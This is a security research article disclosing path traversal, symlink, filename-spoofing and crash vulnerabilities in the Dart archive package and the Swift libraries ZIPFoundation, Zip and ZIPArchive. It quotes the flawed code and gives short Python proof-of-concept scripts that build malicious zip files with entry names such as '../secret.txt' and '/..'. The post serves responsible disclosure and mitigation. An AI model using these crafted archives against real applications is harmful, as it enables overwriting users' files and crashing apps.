Security

ZIP Exploitation: Critical Vulnerabilities Found in Popular Zip Libraries in Swift and Flutter

Recent in-depth investigations reveal serious vulnerabilities discovered in widely-used zip packages in Flutter and Swift, posing serious security risks for thousands of developers and applications. Our article delves into the technical aspects of these vulnerabilities, explaining their discovery, implications and mitigation strategies.

Fri 04 August 2023

Introduction

ZIP packages are compressed archives that contain multiple files and directories, allowing developers to conveniently bundle resources, libraries, and other components required for app functionality. While ZIP packages offer efficiency and ease of use, they can also be the source of potential security vulnerabilities that malicious actors can exploit.

This article will delve into the security of zip-handling implementation, showcasing vulnerabilities in popular Zip libraries in the Swift and Dart (Flutter) ecosystems. We will explore the potential risks associated with malicious ZIP packages and the consequences they can have on mobile application security. Furthermore, we will discuss best practices and effective strategies to ensure the robust protection of ZIP packages throughout the development lifecycle.

Anatomy of ZIP file

ZIP files typically follow this layout:

+------------------------------------------------------+
|                  Local File Header                   |
| +----------------------------------------------+     |
| | Local File Header Signature (4 bytes)       |     |
| | Version Needed to Extract (2 bytes)         |     |
| | General Purpose Bit Flag (2 bytes)          |     |
| | Compression Method (2 bytes)                |     |
| | Last Mod Time (2 bytes)                     |     |
| | Last Mod Date (2 bytes)                     |     |
| | CRC-32 Checksum (4 bytes)                   |     |
| | Compressed Size (4 bytes)                   |     |
| | Uncompressed Size (4 bytes)                 |     |
| | Filename Length (2 bytes)                  |     |
| | Extra Field Length (2 bytes)               |     |
| +----------------------------------------------+     |
| | Filename (variable length)                         | |
| |                                                  | |
| +----------------------------------------------+     |
| | Extra Field (variable length)                      | |
| |                                                  | |
| +----------------------------------------------+     |
|               Compressed Data                          |
|                                                      |
| +----------------------------------------------+     |
| | Data Descriptor (optional)                        | |
| | +------------------------------------------+ |     |
| | | CRC-32 Checksum (4 bytes)                | |     |
| | | Compressed Size (4 bytes)                | |     |
| | | Uncompressed Size (4 bytes)              | |     |
| | +------------------------------------------+ |     |
| +----------------------------------------------+     |
+------------------------------------------------------+
+------------------------------------------------------+
|                Central Directory                      |
| +----------------------------------------------+     |
| | Central Directory File Header              |     |
| | +--------------------------------------+ |     |
| | | Central Directory Header Signature  | |     |
| | | Version Made by (2 bytes)            | |     |
| | | Version Needed to Extract (2 bytes)  | |     |
| | | General Purpose Bit Flag (2 bytes)   | |     |
| | | ...                                | |     |
| | +--------------------------------------+ |     |
| | | CRC-32 Checksum (4 bytes)            | |     |
| | | Compressed Size (4 bytes)            | |     |
| | | Uncompressed Size (4 bytes)          | |     |
| | | Filename Length (2 bytes)            | |     |
| | | ...                                | |     |
| | +--------------------------------------+ |     |
| | | Filename (variable length)           | |     |
| | |                                    | |     |
| | +--------------------------------------+ |     |
| +----------------------------------------------+     |
+------------------------------------------------------+
+------------------------------------------------------+
|       End of Central Directory Record                |
| +----------------------------------------------+     |
| | End of Central Directory Signature (4 bytes) |     |
| | ...                                        |     |
| +----------------------------------------------+     |
+------------------------------------------------------+

Notable parts of the zip structure are:

  • Local File Header: The Local File Header is a section at the beginning of each file within a ZIP archive. It contains essential information about the compressed file, such as its name, size, compression method, and other attributes. This header allows the software to locate and extract individual files from the ZIP archive.

  • Data Descriptor: The Data Descriptor is an optional section within the ZIP file format. It provides additional information about a file's compressed data. The purpose of the Data Descriptor is to store the CRC-32 checksum of the uncompressed data, the compressed size, and the uncompressed size. Including this information allows for integrity checks and can be useful when extracting files.

  • Central Directory File Header: The Central Directory File Header is a section in a ZIP file that contains metadata about each file within the archive. It provides details such as the file name, compressed size, uncompressed size, compression method, and other attributes. The Central Directory File Header is located in the central directory structure, a catalog of all the files in the ZIP archive.

  • End of Central Directory Record (EOCD): The End of Central Directory (EOCD) Record is a section at the end of a ZIP file that marks the end of the central directory structure. It contains essential information, including the number of entries in the central directory, the size of the central directory, and the offset to the start of the central directory. The EOCD record allows the software to locate and access the central directory, which provides information about the files in the ZIP archive.

Common ZIP vulnerabilities:

  • ZIP path traversal: Zip path traversal, also known as Zip Slip, is a security vulnerability that occurs when the application fails to validate zip entries' file names during extraction. It allows an attacker to extract files to arbitrary locations outside the extraction directory, which helps overwrite sensitive user data and, in some cases, can lead to code execution if an attacker overwrites an application's shared object file.

  • ZIP filename spoofing: In the context of ZIP archives, there are two main data structures relevant to file names: the Central Directory Entry and the Local File Header, if a parser for example, reads the filename from Local File Header but then proceeds to extract the file with the path in the Central Directory Entry.

  • ZIP symlink path traversal: ZIP symlink is a feature used in many zip utilities that allows those symlinks to point to files outside the extraction directory. This can pose a security risk, leading to overwriting sensitive data or shared object files, which might lead to code execution.

  • ZIP Bomb: A zip bomb is a small-sized zip file that contains an enormous amount of compressed data. When extracted, it expands into a huge file or consumes excessive system resources, potentially causing denial-of-service (DoS).

ZIP packages to analyze

Archive

One of the popular flutter packages for handling compressed files is archive by Brendan Duncan, this package implements popular archive formats natively in Dart without having to go through the native platform-specific packages like java.util.zip for android or ZIPFoundation for iOS.

Language: Dart (Flutter)
Link: https://pub.dev/packages/archive

Flutter_archive

flutter_archive is another Flutter package for compressed files that work exclusively with zip files, this package relies on Java's native zip package java.util.zip by leveraging Flutter's MethodChannel.

Language: Dart (Flutter)
Link: https://pub.dev/packages/flutter_archive

ZIPFoundation

ZIPFoundation is a library to create, read and modify ZIP archive files. It is written in Swift and based on Apple's libcompression for high performance and energy efficiency.

Language: Swift
Link: https://github.com/weichsel/ZIPFoundation

ZIP

Zip is a Swift framework for zipping and unzipping files. Simple and quick to use. Built on top of minizip.

Language: Swift
Link: https://github.com/marmelroy/Zip

ZIPArchive (SSZIPArchive)

ZipArchive is a simple utility class for zipping and unzipping files on iOS, macOS and tvOS.

Language: Swift
Link: https://github.com/ZipArchive/ZipArchive

Detected vulnerabilities

Package: Archive

ZIP filename spoofing (CVE-2023-39137)

archive package only parses the filename from the Local File Header, this leads to inconsistency with most zip parsers who typically favor Central Directory Entry, this inconsistency can be abused by attackers who can craft a malicious zip file with different file names in Local File Header and Central Directory Entry, consequently having a file with different filenames before and after extraction.

  String filename = '';
  List<int> extraField = [];
  String fileComment = '';
  ZipFile? file;

  ZipFileHeader(
      [InputStreamBase? input, InputStreamBase? bytes, String? password]) {
    if (input != null) {
      versionMadeBy = input.readUint16();
      versionNeededToExtract = input.readUint16();
      generalPurposeBitFlag = input.readUint16();
      compressionMethod = input.readUint16();
      lastModifiedFileTime = input.readUint16();
      lastModifiedFileDate = input.readUint16();
      crc32 = input.readUint32();
      compressedSize = input.readUint32();
      uncompressedSize = input.readUint32();
      final fnameLen = input.readUint16();
      final extraLen = input.readUint16();
      final commentLen = input.readUint16();
      diskNumberStart = input.readUint16();
      internalFileAttributes = input.readUint16();
      externalFileAttributes = input.readUint32();
      localHeaderOffset = input.readUint32();

      if (fnameLen > 0) {
        filename = input.readString(size: fnameLen);
      }

To test this, we crafted a zip file with different filename field values evil.apk and evil.txt respectively for Local File Header and Central Directory Entry

Proof of concept code:

import zipfile

def generate_spoofed_zip(filename):
    with zipfile.ZipFile('payload.zip', 'w') as zipf:
        zipf.writestr(filename, "Test payload")

    with open('payload.zip', 'rb') as zipf:
        zip_data = zipf.read()
        spoofed_data = zip_data.replace(bytes(filename, 'utf-8'), bytes(spoofed_filename, 'utf-8'), 1)

    with open('payload.zip', 'wb') as zipf:
        zipf.write(spoofed_data)


original_filename = 'evil.txt'
spoofed_filename = 'evil.apk'

if len(original_filename) != len(spoofed_filename):
    raise ValueError("Filenames lengths must be equal")

generate_spoofed_zip(original_filename)

zip file hexdump
Zip file hex dump

when we ran zipinfo utility over our zip file, the filename inside was parsed as evil.txt

zipinfo
zipinfo over our zip file

However, after extracting the file using extractFileToDisk function from archive package, the filename was parsed as evil.apk

zip file extracted
Extracted zip file

Another interesting finding we found while inspecting the package was not only it links symlinks back after extraction, it also links ones pointing to any path, even outside the extraction directory.

  for (final file in archive.files) {
    final filePath = p.join(outputPath, p.normalize(file.name));

    if (!isWithinOutputPath(outputPath, filePath)) {
      continue;
    }

    if (!file.isFile && !file.isSymbolicLink) {
      Directory(filePath).createSync(recursive: true);
      continue;
    }

    if (asyncWrite) {
      if (file.isSymbolicLink) {
        final link = Link(filePath);
        await link.create(p.normalize(file.nameOfLinkedFile), recursive: true);
      } else {
        final output = File(filePath);
        final f = await output.create(recursive: true);
        final fp = await f.open(mode: FileMode.write);
        final bytes = file.content as List<int>;
        await fp.writeFrom(bytes);
        file.clear();
        futures.add(fp.close());
      }

To test that we created a symlink evil pointing to a file (secret.txt) in the parent directory, we zipped that symlink using the command zip --symlinks poc.zip evil and extracted poc.zip on an Android test device using extractFileToDisk function.

Proof of concept code:

import zipfile

def compress_file(filename):
    zipInfo = zipfile.ZipInfo(".")
    zipInfo.create_system = 3
    zipInfo.external_attr = 2716663808
    zipInfo.filename = filename

    with zipfile.ZipFile('payload.zip', 'w') as zipf:
        zipf.writestr(zipInfo, "/etc/hosts")

filename = 'evil'

compress_file(filename)

symlink workstation
Symlink poc in our workstation

Upon extracting the zip file, the symlink was linked back and pointing to ../secret.txt, outside the extraction directory.

symlink android
Symlink after extraction on android device

Package: ZIPFoundation

Upon extraction, the package passes the path coming from the zip entry directly to fileManager.createSymbolicLink without checking that it is located within extraction directory, we replicated the same test above and found this package too allows symlinks pointing outside the extraction directory.

case .symlink:
    guard !fileManager.itemExists(at: url) else {
        throw CocoaError(.fileWriteFileExists, userInfo: [NSFilePathErrorKey: url.path])
    }
    let consumer = { (data: Data) in
        guard let linkPath = String(data: data, encoding: .utf8) else { throw ArchiveError.invalidEntryPath }
        try fileManager.createParentDirectoryStructure(for: url)
        try fileManager.createSymbolicLink(atPath: url.path, withDestinationPath: linkPath)
    }
    checksum = try self.extract(entry, bufferSize: bufferSize, skipCRC32: skipCRC32,
                                progress: progress, consumer: consumer)
}

ZIP path traversal (CVE-2023-39138)

the package uses the function isContained to check that the zip entry path is located within the extraction directory:

func isContained(in parentDirectoryURL: URL) -> Bool {
        // Ensure this URL is contained in the passed in URL
        let parentDirectoryURL = URL(fileURLWithPath: parentDirectoryURL.path, isDirectory: true).standardized
        return self.standardized.absoluteString.hasPrefix(parentDirectoryURL.absoluteString)
    }
...
guard entryURL.isContained(in: destinationURL) else {
        throw CocoaError(.fileReadInvalidFileName,
                         userInfo: [NSFilePathErrorKey: entryURL.path])
    }
...
crc32 = try archive.extract(entry, to: entryURL, skipCRC32: skipCRC32, progress: entryProgress)

Below is a code snippet of the extract function:

public func extract(_ entry: Entry, to url: URL, bufferSize: Int = defaultReadChunkSize, skipCRC32: Bool = false,
                        progress: Progress? = nil) throws -> CRC32 {
        guard bufferSize > 0 else {
            throw ArchiveError.invalidBufferSize
        }
        let fileManager = FileManager()
        var checksum = CRC32(0)
        switch entry.type {
        case .file:
            guard !fileManager.itemExists(at: url) else {
                throw CocoaError(.fileWriteFileExists, userInfo: [NSFilePathErrorKey: url.path])
            }
            try fileManager.createParentDirectoryStructure(for: url)
            let destinationRepresentation = fileManager.fileSystemRepresentation(withPath: url.path)
            guard let destinationFile: FILEPointer = fopen(destinationRepresentation, "wb+") else {
                throw POSIXError(errno, path: url.path)
            }
            defer { fclose(destinationFile) }
            let consumer = { _ = try Data.write(chunk: $0, to: destinationFile) }
            checksum = try self.extract(entry, bufferSize: bufferSize, skipCRC32: skipCRC32,
                                        progress: progress, consumer: consumer)

When provided with the following path /base_path/extraction_directory//../ the path gets normalized to /base_path/extraction_directory/entry_file_name which passes the check above. When that same path is passed to fopen, it gets normalized to /base_path/entry_file_name, allowing us to write files outside the extraction directory.

Proof of concept code:

import zipfile

def compress_file(filename):
    with zipfile.ZipFile('payload.zip', 'w') as zipf:
        zipf.writestr(filename, "Test payload")

filename = '/../secret.txt'

compress_file(filename)

Package: Zip

ZIP path traversal (CVE-2023-39135)

Below is a code snippet from the unzipFile function used to extract zip files, you can notice that pathString coming from our zip entry is appended to the destination directory without any sanitization

let fileNameSize = Int(fileInfo.size_filename) + 1
//let fileName = UnsafeMutablePointer<CChar>(allocatingCapacity: fileNameSize)
let fileName = UnsafeMutablePointer<CChar>.allocate(capacity: fileNameSize)

unzGetCurrentFileInfo64(zip, &fileInfo, fileName, UInt(fileNameSize), nil, 0, nil, 0)
fileName[Int(fileInfo.size_filename)] = 0

var pathString = String(cString: fileName)

guard pathString.count > 0 else {
    throw ZipError.unzipFail
}

var isDirectory = false
let fileInfoSizeFileName = Int(fileInfo.size_filename-1)
if (fileName[fileInfoSizeFileName] == "/".cString(using: String.Encoding.utf8)?.first || fileName[fileInfoSizeFileName] == "\\".cString(using: String.Encoding.utf8)?.first) {
    isDirectory = true;
}
free(fileName)
if pathString.rangeOfCharacter(from: CharacterSet(charactersIn: "/\\")) != nil {
    pathString = pathString.replacingOccurrences(of: "\\", with: "/")
}

let fullPath = destination.appendingPathComponent(pathString).path

Proof of concept code:

import zipfile

def compress_file(filename):
    with zipfile.ZipFile('payload.zip', 'w') as zipf:
        zipf.writestr(filename, "Test payload")

filename = '../secret.txt'

compress_file(filename)

Package: ZIPArchive (SSZIPArchive)

Denial of Service (CVE-2023-39136)

Below is a code snippet from the _sanitizedPath function used to sanitize zip entries filenames, the code prepends file:/// prefix to the zip entry path, standardizes it using NSURL then removes the prepended prefix, however when presented with /.. as a path, the output of NSURL becomes file://, which has 7 characters while the code expects at least 8 characters, this unhandled edge case leads to crashing the application.

if (strPath == nil) {
        return nil;
    }

// Add scheme "file:///" to support sanitation on names with a colon like "file:a/../../../usr/bin"
strPath = [@"file:///" stringByAppendingString:strPath];

// Sanitize path traversal characters to prevent directory backtracking. Ignoring these characters mimicks the default behavior of the Unarchiving tool on macOS.
// "../../../../../../../../../../../tmp/test.txt" -> "tmp/test.txt"
// "a/b/../c.txt" -> "a/c.txt"
strPath = [NSURL URLWithString:strPath].standardizedURL.absoluteString;

// Remove the "file:///" scheme
strPath = [strPath substringFromIndex:8];

Proof of concept code:

import zipfile

def compress_file(filename):
    with zipfile.ZipFile('payload.zip', 'w') as zipf:
        zipf.writestr(filename, "Test payload")

filename = '/..'

compress_file(filename)

Summary table

Package Language ZIP Filename Spoofing ZIP Symlink ZIP Path Traversal Denial of Service
Archive Dart (Flutter) Vulnerable Not Vulnerable Not Vulnerable Not Vulnerable
Flutter_archive Dart (Flutter) Not Vulnerable Not Vulnerable Not Vulnerable Not Vulnerable
ZIPFoundation Swift Not Vulnerable Vulnerable Vulnerable Not Vulnerable
ZIP Swift Not Vulnerable Not Vulnerable Vulnerable Not Vulnerable
ZIPArchive Swift Not Vulnerable Not Vulnerable Not Vulnerable Vulnerable

Conclusion

In conclusion, ZIP vulnerabilities pose significant security risks that developers should be aware of when handling archive files. The ZIP file format, although widely used and supported, is not immune to exploitation. Understanding and addressing these vulnerabilities is essential to safeguarding sensitive data and preventing potential attacks.

This article has highlighted several common ZIP vulnerabilities, including ZIP path traversal, ZIP filename spoofing, ZIP symlink vulnerability, and ZIP bomb attacks. Each of these vulnerabilities exposes different risks, such as unauthorized access to files, overwriting sensitive data, denial-of-service (DoS) and even code execution in some scenarios.

It is important for developers to implement robust security measures when working with ZIP files. This includes validating zip entry file names during extraction to prevent path traversal attacks, ensuring consistency between the filenames in the Local File Header and Central Directory Entry to mitigate filename spoofing, restricting access permissions for extracted files, and implementing proper decompression techniques to prevent DoS situations caused by ZIP bombs.

Additionally, it is crucial to stay informed about security updates and patches related to ZIP libraries or packages used in development frameworks. Regularly reviewing and updating these dependencies can help mitigate known vulnerabilities and protect against emerging threats.

It is worth mentioning that the issues discussed in this article were reported to the concerned authors.